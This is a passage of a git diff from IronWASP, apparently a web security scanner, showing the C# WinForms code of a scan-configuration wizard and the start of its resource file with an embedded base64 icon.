this.BaseTabs.SelectTab(4); + } + else + { + ShowStep3Error(Msg); + } + } + + private void StepFourPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + + delegate void ShowStep0Error_d(string Text); + internal void ShowStep0Error(string Text) + { + if (Step0StatusTB.InvokeRequired) + { + ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); + Step0StatusTB.Invoke(CALL_d, new object[] { Text }); + } + else + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + } + + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep2Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + void ShowStep3Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step3StatusTB.Visible = false; + } + else + { + this.Step3StatusTB.ForeColor = Color.Red; + this.Step3StatusTB.Visible = true; + } + } + void ShowStep4Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + + string CheckStep1Input() + { + if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) + { + return "Atleat one section of the request must be selected for scanning."; + } + if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; + + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + return ""; + } + } + return "Atleat one security check must be selected for scanning."; + } + + string CheckStep3Input() + { + if (LoginRecordingComboBox.Text.Trim().Length > 0 && !Recording.Recording.GetNames().Contains(LoginRecordingComboBox.Text)) + { + return "Recording with given name does not exist, either enter a valid recording name or leave this value blank"; + } + if (ScanBranchSessionPluginsCombo.Text.Trim().Length > 0 && !SessionPlugin.List().Contains(ScanBranchSessionPluginsCombo.Text)) + { + return "Session Plugin with given name does not exist, either enter a valid Plugin name or leave this value blank"; + } + return ""; + } + + internal void UpdateScanBranchConfigFromUI() + { + ScanBranch.HostName = this.BaseRequest.Host; + ScanBranch.UrlPattern = this.ScanBranchUrlPatternTB.Text; + if (this.BaseRequest != null) + { + ScanBranch.HTTP = !this.BaseRequest.SSL; + ScanBranch.HTTPS = this.BaseRequest.SSL; + } + + ScanBranch.PromptUser = PromptUserCB.Checked; + + ScanBranch.ScanUrl = this.InjectUrlPathPartsCB.Checked; + ScanBranch.ScanQuery = this.InjectQueryCB.Checked; + ScanBranch.ScanBody = this.InjectBodyCB.Checked; + ScanBranch.ScanCookie = this.InjectCookieCB.Checked; + ScanBranch.ScanHeaders = this.InjectHeadersCB.Checked; + + ScanBranch.PickFromProxyLog = this.ScanBranchPickProxyLogCB.Checked; + ScanBranch.PickFromProbeLog = this.ScanBranchPickProbeLogCB.Checked; + ScanBranch.ProxyLogIDs.Clear(); + ScanBranch.ProbeLogIDs.Clear(); + + ScanBranch.SessionPlugin = ""; + if (this.ScanBranchSessionPluginsCombo.SelectedItem != null) + { + string PluginName = this.ScanBranchSessionPluginsCombo.SelectedItem.ToString(); + if (PluginName.Length > 0) + { + if (SessionPlugin.List().Contains(PluginName)) + { + ScanBranch.SessionPlugin = PluginName; + if (ScanThreadLimitCB.Checked) + { + Scanner.MaxParallelScanCount = 1; + IronUI.UpdateScannerSettingsInUIFromConfig(); + IronDB.StoreScannerSettings(); + } + } + } + } + if (this.LoginRecordingComboBox.SelectedItem != null) + { + string RecName = this.LoginRecordingComboBox.SelectedItem.ToString(); + if (RecName.Length > 0) + { + if (Recording.Recording.GetNames().Contains(RecName)) + { + ScanBranch.LoginRecording = RecName; + if (ScanThreadLimitCB.Checked) + { + Scanner.MaxParallelScanCount = 1; + IronUI.UpdateScannerSettingsInUIFromConfig(); + IronDB.StoreScannerSettings(); + } + } + } + } + + ScanBranch.FormatPlugins.Clear(); + + foreach (DataGridViewRow Row in this.FormatGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + ScanBranch.FormatPlugins.Add(Row.Cells[1].Value.ToString()); + } + } + + ScanBranch.ActivePlugins.Clear(); + + foreach (DataGridViewRow Row in this.ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + ScanBranch.ActivePlugins.Add(Row.Cells[1].Value.ToString()); + } + } + + + ScanBranch.QueryWhiteList.Clear(); + ScanBranch.QueryBlackList.Clear(); + + ScanBranch.BodyWhiteList.Clear(); + ScanBranch.BodyBlackList.Clear(); + + ScanBranch.CookieWhiteList.Clear(); + ScanBranch.CookieBlackList.Clear(); + + ScanBranch.HeaderWhiteList.Clear(); + ScanBranch.HeaderBlackList.Clear(); + + if (QueryParametersFilterCB.Checked) + { + if (QueryParametersPlusRB.Checked) + { + foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.QueryWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.QueryBlackList.Add(Name.Trim()); + } + } + } + + if (BodyParametersFilterCB.Checked) + { + if (BodyParametersPlusRB.Checked) + { + foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.BodyWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.BodyBlackList.Add(Name.Trim()); + } + } + } + + if (CookieParametersFilterCB.Checked) + { + if (CookieParametersPlusRB.Checked) + { + foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.CookieWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.CookieBlackList.Add(Name.Trim()); + } + } + } + + if (HeadersParametersFilterCB.Checked) + { + if (HeadersParametersPlusRB.Checked) + { + foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.HeaderWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanBranch.HeaderBlackList.Add(Name.Trim()); + } + } + } + } + + private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); + SPCA.Show(); + } + + private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersFilterCB.Checked) + { + QueryParametersPlusRB.Enabled = true; + QueryParametersMinusRB.Enabled = true; + QueryParametersPlusTB.Enabled = true; + QueryParametersMinusTB.Enabled = true; + } + else + { + QueryParametersPlusRB.Enabled = false; + QueryParametersMinusRB.Enabled = false; + QueryParametersPlusTB.Enabled = false; + QueryParametersMinusTB.Enabled = false; + } + } + + private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersFilterCB.Checked) + { + BodyParametersPlusRB.Enabled = true; + BodyParametersMinusRB.Enabled = true; + BodyParametersPlusTB.Enabled = true; + BodyParametersMinusTB.Enabled = true; + } + else + { + BodyParametersPlusRB.Enabled = false; + BodyParametersMinusRB.Enabled = false; + BodyParametersPlusTB.Enabled = false; + BodyParametersMinusTB.Enabled = false; + } + } + + private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersFilterCB.Checked) + { + CookieParametersPlusRB.Enabled = true; + CookieParametersMinusRB.Enabled = true; + CookieParametersPlusTB.Enabled = true; + CookieParametersMinusTB.Enabled = true; + } + else + { + CookieParametersPlusRB.Enabled = false; + CookieParametersMinusRB.Enabled = false; + CookieParametersPlusTB.Enabled = false; + CookieParametersMinusTB.Enabled = false; + } + } + + private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersFilterCB.Checked) + { + HeadersParametersPlusRB.Enabled = true; + HeadersParametersMinusRB.Enabled = true; + HeadersParametersPlusTB.Enabled = true; + HeadersParametersMinusTB.Enabled = true; + } + else + { + HeadersParametersPlusRB.Enabled = false; + HeadersParametersMinusRB.Enabled = false; + HeadersParametersPlusTB.Enabled = false; + HeadersParametersMinusTB.Enabled = false; + } + } + + private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersPlusRB.Checked) + { + QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; + } + } + + private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersPlusRB.Checked) + { + BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; + } + } + + private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersPlusRB.Checked) + { + CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; + } + } + + private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersPlusRB.Checked) + { + HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; + } + } + + private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersMinusRB.Checked) + { + QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; + } + } + + private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersMinusRB.Checked) + { + BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; + } + } + + private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersMinusRB.Checked) + { + CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; + } + } + + private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersMinusRB.Checked) + { + HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; + } + } + + private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + LoginRecordingComboBox.Items.Clear(); + LoginRecordingComboBox.Items.AddRange(Recording.Recording.GetNames().ToArray()); + ScanBranchSessionPluginsCombo.Items.Clear(); + ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + } + + private void ScanAllPluginsCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + Row.Cells[0].Value = ScanAllPluginsCB.Checked; + } + } + + private void ScanBranchWizard_FormClosing(object sender, FormClosingEventArgs e) + { + ScanBranch.Abort(); + /* + if (IronUI.UI.CanShutdown) return; + if (!CanClose) + { + if (this.CurrentStep == 0) + { + this.CanClose = true; + } + else if (this.CurrentStep == 4) + { + e.Cancel = true; + if (StepFourPreviousBtn.Enabled) + { + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + else + { + MessageBox.Show("This window cannot be closed by the user now.\r\nAfter all scan jobs are created the window will automatically close."); + } + } + else + { + e.Cancel = true; + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + } + */ + } + + internal void CloseWindow() + { + this.CanClose = true; + this.Close(); + } + + private void StartLoginRecordingLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Recording.Recorder.OpenWindow(); + } + } +} diff --git a/Iron/ScanBranchWizard.resx b/Iron/ScanBranchWizard.resx new file mode 100644 index 0000000..dfbf617 --- /dev/null +++ b/Iron/ScanBranchWizard.resx @@ -0,0 +1,1941 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + Sometimes the body of the Request could be in a format other than the default urlencoded form parameters structure. IronWASP can try to detect the type of the body format and then scan it accordingly. + +On the right the different formats understood by IronWASP are listed, select the format types that you would want IronWASP to check for. + + + True + + + True + + + 29, 20 + + + 197, 20 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 